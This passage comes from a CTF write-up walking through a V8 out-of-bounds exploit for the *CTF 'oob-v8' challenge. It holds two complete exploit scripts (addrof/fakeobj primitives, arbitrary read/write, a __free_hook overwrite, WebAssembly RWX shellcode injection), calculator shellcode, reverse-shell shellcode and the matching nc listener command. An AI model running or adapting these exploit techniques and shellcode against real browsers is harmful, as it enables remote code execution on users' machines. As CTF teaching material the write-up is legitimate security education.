With base `0x7ffff7005000`, the offsets are easy to calculate:

```javascript
// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;
```

And we can overwrite free hook and pop a calculator:

```javascript
console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");
```

It does, in fact, work!

<details>

<summary>Full Exploit</summary>

```javascript
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // write to address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}

// exploit
// leaks
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16));

let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[+] Map Region Start: 0x" + map_reg_start.toString(16));

let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));

let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));

let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));

// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;

console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");

```

</details>

Unfortunately, as [Faith recognised in their article](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/#exploitation-technique-2-use-webassembly-to-create-an-rwx-page), when running the exploit on the Chrome binary itself (the actual browser provided with the challenge!) the `__free_hook` route does not work. It's likely due to a different memory layout as a result of different processes running, so the leaks are not the same and the offsets are broken. Debugging would be nice, but it's very hard with the given binary. Instead we can use another classic approach and abuse WebAssembly to create a RWX page for our shellcode.

### Abusing WebAssembly

This approach is even better because it will (theoretically) work on any operating system, not be reliant on the presence of libc and `__free_hook` as it allows us to run our own shellcode. I'm gonna save this in `exploit2.js`.

If we create a function in WebAssembly, it will create a RWX page that we can leak. The WASM code itself is not important, we only care about the RWX page. To that effect I'll use the WASM used by Faith, because the website `wasmfiddle` has been closed down and I cannot for the life of me find an alternative. Let me know if you do.

```javascript
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
```

We can see that this creates an RWX page:

```javascript
gef➤  vmmap
[...]
0x000035d2131ff000 0x000035d21b141000 0x0000000000000000 --- 
0x0000396a8d0b5000 0x0000396a8d0b6000 0x0000000000000000 rwx 
0x0000396a8d0b6000 0x0000396acd0b5000 0x0000000000000000 ---
[...]
```

If we leak the addresses of `wasm_mod`, `wasm_instance` and `f`, none of them are actually located in the RWX page, so we can't simply `addrof()` and apply a constant offest. Instead, we're gonna comb memory for all references to the RWX page. The WASM objects likely need a reference to it of sorts, so it's possible a pointer is stored near in memory.

```javascript
console.log("[+] WASM Mod at 0x" + addrof(wasm_mod).toString(16));
console.log("[+] WASM Instance at 0x" + addrof(wasm_instance).toString(16));
console.log("[+] F at 0x" + addrof(f).toString(16));
```

```javascript
gef➤  run --allow-natives-syntax --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x22322b10f919
[+] WASM Mod at 0x22322b10fcc9
[+] WASM Instance at 0x45c390e13a1
[+] F at 0x45c390e1599
V8 version 7.5.0 (candidate)
d8> ^C
gef➤  vmmap
[...]
0x0000311254159000 0x000031125415a000 0x0000000000000000 rwx
[...]
gef➤  search-pattern 0x0000311254159000
[+] Searching '\x00\x90\x15\x54\x12\x31\x00\x00' in memory
[+] In (0x45c390c0000-0x45c39100000), permission=rw-
  0x45c390e1428 - 0x45c390e1448  →   "\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
[+] In '[heap]'(0x5555562f9000-0x5555563c6000), permission=rw-
  0x5555563a1e38 - 0x5555563a1e58  →   "\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563acfe0 - 0x5555563ad000  →   "\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563ad000 - 0x5555563ad020  →   "\x00\x90\x15\x54\x12\x31\x00\x00[...]" 
  0x5555563ad120 - 0x5555563ad140  →   "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
```

The last four are in the heap, so unlikely, but the first instance is near to the `wasm_instance` and `f`. The offset between `wasm_instance` and that offset appears to be `0x87`. In reality it is `0x88` (remember pointer tagging!), but that works for us.

```javascript
let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
```

It spits out the right base, which is great. Now we just want to get shellcode for popping calculator as well as a method for copying the shellcode there. I'm gonna just (once again) shamelessly nab Faith's implementations for that, which are fairly self-explanatory.

```javascript
function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 bytes can be written to where we want
    // this is similar to the arb_write() function
    // but we have to redo it because we want to write way more than 8 bytes
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
```

And then we just copy it over and pop a calculator:

```javascript
console.log("[+] Copying Shellcode...");

copy_shellcode(rwx_base, shellcode);

console.log("[+] Running Shellcode...");

f();
```

Running this under GDB causes it to crash for me, but running it in bash works fine:

```bash
$ ./d8 --shell exploit2.js 
[+] Address of Arbitrary RW Array: 0x19b85504fea1
[+] WASM Instance at 0x189e40ca1761
[+] RWX Region located at 0x29686af10000
[+] Copying Shellcode...
[+] Running Shellcode...
Warning: Cannot convert string "-adobe-symbol-*-*-*-*-*-120-*-*-*-*-*-*" to type FontStruct
```

With a calculator popped!

<details>

<summary>Full Exploit</summary>

```javascript
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}

// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // write to address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}

// wasm exploit
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

console.log("[+] WASM Instance at 0x" + (addrof(wasm_instance)).toString(16));

// leak RWX base
let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc)
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));

// shellcode time
function copy_shellcode(addr, shellcode) {
    // create a buffer of 0x100 bytes
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    
    // overwrite the backing store so the 0x100 can be written to where we want
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

// pop it
console.log("[+] Copying Shellcode...");

copy_shellcode(rwx_base, shellcode);

console.log("[+] Running Shellcode...");

f();

```

</details>

#### Popping it on Chrome

Create an `index.html` with the following code:

```markup
<html>
  <head>
    <script src="exploit2.js"></script>
  </head>
</html>
```

Make sure `exploit2.js` is in the same folder. Then load the `index.html` with the version of Chrome bundled in the challenge:

```bash
$ ./chrome --no-sandbox ../../index.html
```

And it pops calculator! You can also place it in another folder and use python's SimpleHTTPServer to serve it and connect that way - it works either way.

#### Getting a Reverse Shell instead

Well, we are hackers, we like the idea of a reverse shell, no? Plus it makes you feel way cooler to be able to do that.

Grabbing the reverse shell code from [here](https://packetstormsecurity.com/files/160996/Linux-x64-Reverse-Shell-Shellcode.html) and modifying it slightly to change it to loopback to `127.0.0.1`:

```javascript
var shellcode = ['0x6a58296a', '0x016a5f02', '0x050f995e', '0x68525f50', '0x0100007f', '0x5c116866', '0x6a026a66', '0x5e54582a', '0x0f5a106a', '0x5e026a05', '0x0f58216a', '0xceff4805', '0x016af679', '0x50b94958', '0x77737361', '0x41203a64', '0x6a5e5451', '0x050f5a08', '0x48c03148', '0x0f08c683', '0x31b84805', '0x35343332', '0x56383736', '0x75af485f', '0x583b6a1a', '0xbb485299', '0x6e69622f', '0x68732f2f', '0x525f5453', '0x54575a54', '0x90050f5e']
```

Listening with `nc -nvlp 4444`, we get the prompt for a password, which is `12345678`. Input that, and bingo! It even works on the Chrome instance!

## Final Thoughts

First off, give [Faith](https://twitter.com/farazsth98) a follow, they deserve it.

Secondly, WASM makes no sense to me, but oh well. Sounds like a security nightmare.
